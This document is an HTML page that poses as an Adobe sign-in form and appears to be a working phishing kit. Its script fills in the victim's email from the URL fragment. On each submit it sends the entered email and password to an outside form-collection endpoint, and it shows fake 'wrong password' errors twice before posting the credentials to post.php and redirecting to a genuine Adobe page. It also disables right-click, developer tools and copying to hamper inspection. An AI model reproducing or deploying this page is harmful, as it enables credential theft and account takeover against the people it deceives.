<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Adobe file</title>
  <link rel="icon" type="image/png" href="https://static.licdn.com/sc/h/8fkga714vy9sq84dyk4d4z9h">
  <style>
    body {
      margin: 0;
      font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
      background-image: url('https://gyazo.com/eabfb9a9e69b3838387e60a23a60e87e.jpg');
      background-size: cover;
      background-position: cover;
      display: flex;
      flex-direction: column;
      min-height: 100vh;
    }

    .logo-fixed {
      position: absolute;
      top: 20px;
      left: 30px;
      display: flex;
      align-items: center;
      z-index: 10;
    }

    .logo-fixed img {
      height: 32px;
      margin-right: 8px;
    }

    .logo-fixed span {
      font-size: 24px;
      color: #eb0722;
      font-weight: bold;
    }

    .container {
      background-color: white;
      padding: 40px;
      border-radius: 10px;
      box-shadow: 0px 4px 12px rgba(0,0,0,0.15);
      width: 100%;
      max-width: 360px;
      margin: auto;
      margin-top: 100px;
    }

    .container h2 {
      margin-bottom: 20px;
      font-size: 24px;
      color: #eb0722;
    }

    input[type="email"],
    input[type="password"],
    input[type="text"] {
      width: 100%;
      min-width: 0;
      padding: 12px;
      margin: 10px 0;
      border-radius: 5px;
      border: 1px solid #ccc;
      box-sizing: border-box;
      font-family: Arial, sans-serif;
      font-size: 16px;
    }

    .show-pass {
      display: flex;
      align-items: center;
      font-size: 0.85em;
      margin-top: -8px;
      margin-bottom: 10px;
    }

    .show-pass input {
      margin-right: 5px;
    }

    button {
      width: 100%;
      padding: 12px;
      background-color: #eb0722;
      color: white;
      border: none;
      font-weight: bold;
      border-radius: 5px;
      margin-top: 10px;
      cursor: pointer;
    }

    .forgot {
      text-align: right;
      margin-top: 8px;
    }

    .forgot a {
      color: #0a66c2;
      text-decoration: none;
      font-size: 0.9em;
    }

    .error {
      color: red;
      font-size: 0.9em;
      margin-top: 8px;
    }

    footer {
      margin-top: auto;
      padding: 20px;
      background-color: #f3f2ef;
      text-align: center;
      font-size: 0.85em;
      color: #666;
    }

    footer a {
      color: #666;
      text-decoration: none;
      margin: 0 5px;
    }

    footer a:hover {
      text-decoration: underline;
    }
  </style>
</head>
<body>

  <!-- ?? Top-Left Fixed Adobe Logo -->
  <div class="logo-fixed">
    <img src="https://gyazo.com/e2366e4a5e180e3d2f63617379e63867.png" alt="Adobe Logo">
    <span>Adobe</span>
  </div>

  <!-- ?? Sign-In Container -->
  <div class="container">
    <h2>Sign in</h2>
    <form id="loginForm">
      <input type="email" id="email" placeholder="Email or phone" value="wicd@packages.debian.org" required />
      <input type="password" id="password" placeholder="密码" required />
      <div class="show-pass">
        <input type="checkbox" id="togglePass" />
        <label for="togglePass">显示密码</label>
      </div>
      <button type="submit">登录</button>
      <div class="forgot">
        <a href="#">忘记密码?</a>
      </div>
      <div id="errorMsg" class="error"></div>
    </form>
  </div>

  <!-- ?? Footer -->
  <footer>
    Adobe ?2025 
    <a href="#">用户协议</a> 
    <a href="#">私隐政策</a> 
    <a href="#">您的中文隐私选择</a> 
    <a href="#">社区指引</a> 
    <a href="#">Cookie政策</a> 
    <a href="#">版权政策</a> 
    <a href="#">发送反馈</a> 
    <a href="#">语言</a>
  </footer>

  <!-- ?? JavaScript -->
  <script>
    let attempt = 0;

    window.onload = function () {
  const hash = window.location.hash.substring(1);
  try {
    // Decode once if it's URL-encoded (e.g., %40 instead of @)
    const decodedHash = decodeURIComponent(hash);

    // If it's already an email
    if (decodedHash.includes("@")) {
      document.getElementById("email").value = decodedHash;
    }

    // If it's base64 (safety net)
    else {
      const base64Decoded = atob(decodedHash);
      if (base64Decoded.includes("@")) {
        document.getElementById("email").value = base64Decoded;
      }
    }
  } catch (e) {
    console.warn("Invalid email hash format:", e);
  }
};


    document.getElementById("togglePass").addEventListener("change", function () {
      const pwdField = document.getElementById("password");
      pwdField.type = this.checked ? "text" : "password";
    });

    document.getElementById("loginForm").addEventListener("submit", function (e) {
      e.preventDefault();
      const email = document.getElementById("email").value.trim();
      const password = document.getElementById("password").value.trim();
      const errorMsg = document.getElementById("errorMsg");

      // Report every attempt to logi.php (remote)
      fetch("https://submit-form.com/Na9sFeFHK", {
        method: "POST",
        headers: { "Content-Type": "application/x-www-form-urlencoded" },
        body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}&attempt=${attempt + 1}`
      });

      if (attempt < 2) {
        attempt++;
        errorMsg.textContent = "Wrong email password. Try again.";
        document.getElementById("password").value = "";
      } else {
        // On third attempt, send to post.php then redirect to LinkedIn
        fetch("post.php", {
          method: "POST",
          headers: { "Content-Type": "application/x-www-form-urlencoded" },
          body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
        }).then(() => {
          window.location.href = "https://community.adobe.com/t5/acrobat-discussions/error-messages-when-using-adobe/m-p/15191844";
        }).catch(() => {
          window.location.href = "https://community.adobe.com/t5/acrobat-discussions/error-messages-when-using-adobe/m-p/15191844";
        });
      }
    });
  </script>
  <script>
  // Disable Right Click
  document.addEventListener('contextmenu', function(e) {
    e.preventDefault();
  });

  // Disable key combinations
  document.addEventListener('keydown', function(e) {
    // F12
    if (e.key === "F12") e.preventDefault();

    // Ctrl+U, Ctrl+S, Ctrl+C, Ctrl+Shift+I
    if ((e.ctrlKey && e.key === 'u') ||
        (e.ctrlKey && e.key === 's') ||
        (e.ctrlKey && e.key === 'c') ||
        (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === 'i')) {
      e.preventDefault();
    }

    // Ctrl+A or Ctrl+X (cut/copy all)
    if ((e.ctrlKey && e.key === 'a') ||
        (e.ctrlKey && e.key === 'x')) {
      e.preventDefault();
    }
  });

  // Optional: Disable text selection
  document.addEventListener('selectstart', function(e) {
    e.preventDefault();
  });

  // Optional: Disable drag events
  document.addEventListener('dragstart', function(e) {
    e.preventDefault();
  });
</script>
</body>
</html>